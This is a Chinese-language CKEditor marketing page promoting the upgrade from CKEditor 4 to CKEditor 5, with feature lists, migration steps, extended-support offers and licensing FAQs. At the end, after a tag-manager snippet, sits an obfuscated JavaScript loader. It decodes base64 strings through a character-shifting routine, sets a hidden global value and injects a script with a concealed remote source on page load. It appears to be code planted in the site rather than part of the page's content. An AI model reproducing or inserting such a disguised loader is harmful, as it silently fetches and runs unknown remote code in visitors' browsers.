报告:2024 年 协作编辑现状

洞悉 RTE 中协作的趋势和未来 现在下载

立即阅读

时间紧迫...
升级到 CKEditor 5
今天

2023 年 6 月之后,CKEditor 4 将不再提供任何增强功能、更新或安全修复。不要让您的应用程序暴露于漏洞中。

为什么升级到 CKEditor 5?

CKEditor 5 比 CKEditor 4 更现代,更灵活

它的模块化架构、内容编辑模型和性能改进使其
成为需要功能强大且可定制的富文本编辑器框架的开发者的完美选择

协作就绪

CKEditor 5 的架构专为协作而设计。即使是实时协作也可以在几小时内完成设置。

强大的 API

更广泛的 API 选择为您提供了更大的灵活性和控制权,同时使自定义、扩展和创建自定义插件变得更加容易。

文件转换

提供多种文件转换,包括从 Word 导入和导出为 PDF 和 Word - 可用作 REST API 以帮助您实现自动化。

现已支持 TypeScript

CKEditor 5 代码库现已支持 TypeScript,并提供完整的类型定义。这带来了改进的开发人员体验,以及在大型复杂项目中提升性能。

CKEditor 5 中的八项改进,让
升级值得付出努力

编辑引擎

CKEditor 5 拥有现代的 MVC 架构,领先的自定义数据模型和自定义虚拟 DOM 结构,可帮助您轻松应对增长。

升级

现代 UI

其轻量级 UI 经过全面更新,在管理块元素、图像和链接时,提供直观无缝的用户体验。

带有斜杠命令的高级功能捆绑包

斜杠命令、文档大纲和目录是此高级插件捆绑包中的新功能。

Markdown 输出

默认输出为 HTML,可以选择将其更改为 Markdown。由于数据处理器的存在,编辑器还可以生成自定义输出,例如 JSON 或 XML。

检查器

一套调试工具,可以实时观察数据结构变化和选择,此外还可以帮助进行功能开发和理解现有功能。

升级

基于插件的架构

所有内容都是插件 - 即使是像键入这样的基本功能。因此,您可以自定义、删除或替换您想要的任何插件。

升级

主题自定义

使用 CSS 变量轻松调整主题。您甚至可以构建自己的第三方 UI,例如在 Bootstrap 或 React 中。

升级

集成

提供与 Angular、React 和 Vue.js 的原生集成,并且与 Electron 以及 Android 和 iOS 设备兼容。

准备升级 到我们的 CKEditor 5
协作优先的编辑器?

如何升级到 CKEditor 5

凭借其模块化架构,CKEditor 5 是一个新的编辑器安装

步骤 1

下载并安装 CKEditor 5

步骤 2

考虑插件兼容性

步骤 3

更新插件

步骤 4

将内容从 CKEditor 4 迁移到 CKEditor 5

步骤 5

测试和部署

受到财富 500 强企业和初创公司的信赖,使用和认可

CKEditor 5 提供哪些 高级功能

CKEditor 5 拥有各种类型的所见即所得编辑界面

我们的核心 CKEditor 5 满足您的基本需求,但对于更复杂的情况和特定于用例的需求,我们还有高级功能。
提供各种预构建的用户界面 - 有些类似于 Google Docs、MS Word 和 Medium,或者 Slack 和 Twitter 等应用程序。使用我们的可定制编辑框架,一切皆有可能。

协作功能

通过协作功能,多个用户可以编写、评论、跟踪更改并查看其内容的修订历史记录。所有这些都可以在实时或非同步的情况下完成。

  • 跟踪更改

    建议、批准或拒绝内容中的任何格式或样式更改。

  • 修订历史记录

    创建、查看、比较和还原文档版本。

  • 评论

    允许您的用户在您的应用程序内进行协作写作、审查和讨论。

从 Word 导入

借助我们的全新高级功能,将任意数量的 Word 文档导入 CKEditor 5(保留评论和文本建议),该功能在市场上独树一帜。

导出到 PDF 和 Word

从您的编辑器内容中快速生成 PDF 或 Word 文件,并保留评论和建议。

尚未准备好升级?

在生命周期结束之后保持 CKEditor 4 的安全性

扩展支持模型

如果无法升级到 CKEditor 5,请购买限时扩展支持模型。

安全性

该套餐确保您的编辑器保持安全,并无缝访问所有功能。

常见问题解答

URL 已复制

在 2023 年 6 月 30 日的 EOL 之后,CKEditor 4 将不再提供任何新功能、插件、增强功能、错误修复或安全更新。

要了解更多信息,请阅读这篇 解释 CKEditor 4 生命周期结束流程的文章。

URL 已复制

是的,您可以继续使用 CKEditor 4,但您需要意识到,此决定可能会使您的应用程序面临安全漏洞。

CKEditor 4 的最后公开安全补丁已于 2023 年 6 月 30 日发布,此后已发布了私人 LTS 安全补丁。这意味着 CKEditor 4 的公开版本 **不再安全**。

出于调试目的,您仍然可以下载 CKEditor 4,直到另行通知。但我们 **强烈建议** 升级到 CKEditor 5 以获得我们编辑器的最新、最安全版本。

如果您希望继续使用 CKEditor 4,您可以购买 CKEditor 4 的扩展支持模型套餐。这将扩展 CKEditor 4 的支持,并提供持续的安全修复,直到 2026 年 12 月。

URL 已复制

CKEditor 5 是一个现代化的 JavaScript 富文本编辑器框架,具有 MVC 架构、自定义数据模型和虚拟 DOM。它使用 TypeScript 从头开始编写,并具有出色的 webpack 支持。

URL 已复制

由 CKEditor 5 的现代架构支持的 CSP 支持可以保护您的网站免受 XSS 或数据注入攻击。

URL 已复制

这可能取决于您现有合同的具体条款,因此请通过 sales@cksource.com 与我们联系以讨论您的情况。原则上,只要客户一直定期续订合同,我们允许客户迁移到 CKEditor 5。

请注意:与 CKEditor 4 不同,CKEditor 5 的开源许可证是 GPL v2+。在兼容的开源项目中,或根据我们的 开源免费政策,允许免费使用 CKEditor 5。

URL 已复制

升级遇到问题?与我们的销售团队聊天,了解您可以使用的付费支持选项。

URL 已复制

CKEditor 5 在 GPL 2+ 复制许可证下分发。如果您希望使用 CKEditor 5,并且不熟悉 GPL 2+ 许可证限制,请通过 sales@cksource.com 与我们联系。

URL 已复制

对于开源项目,核心编辑器及其基本功能是免费的。如果您是商业产品,请联系我们的销售团队 以讨论许可选项。

订阅我们的 时事通讯

保持您的 CKEditor 更新!接收有关版本、新功能和安全修复的更新。

输入电子邮件以订阅时事通讯

HiddenGatedContent。

感谢您的订阅!

您好,您对产品或定价有任何疑问吗?

您对我们的 产品或定价 有任何疑问吗?

请联系我们的 销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏的未使用字段。

我们很高兴
收到您的来信!

感谢您联系 CKEditor 销售团队。我们已收到您的留言,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://#/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });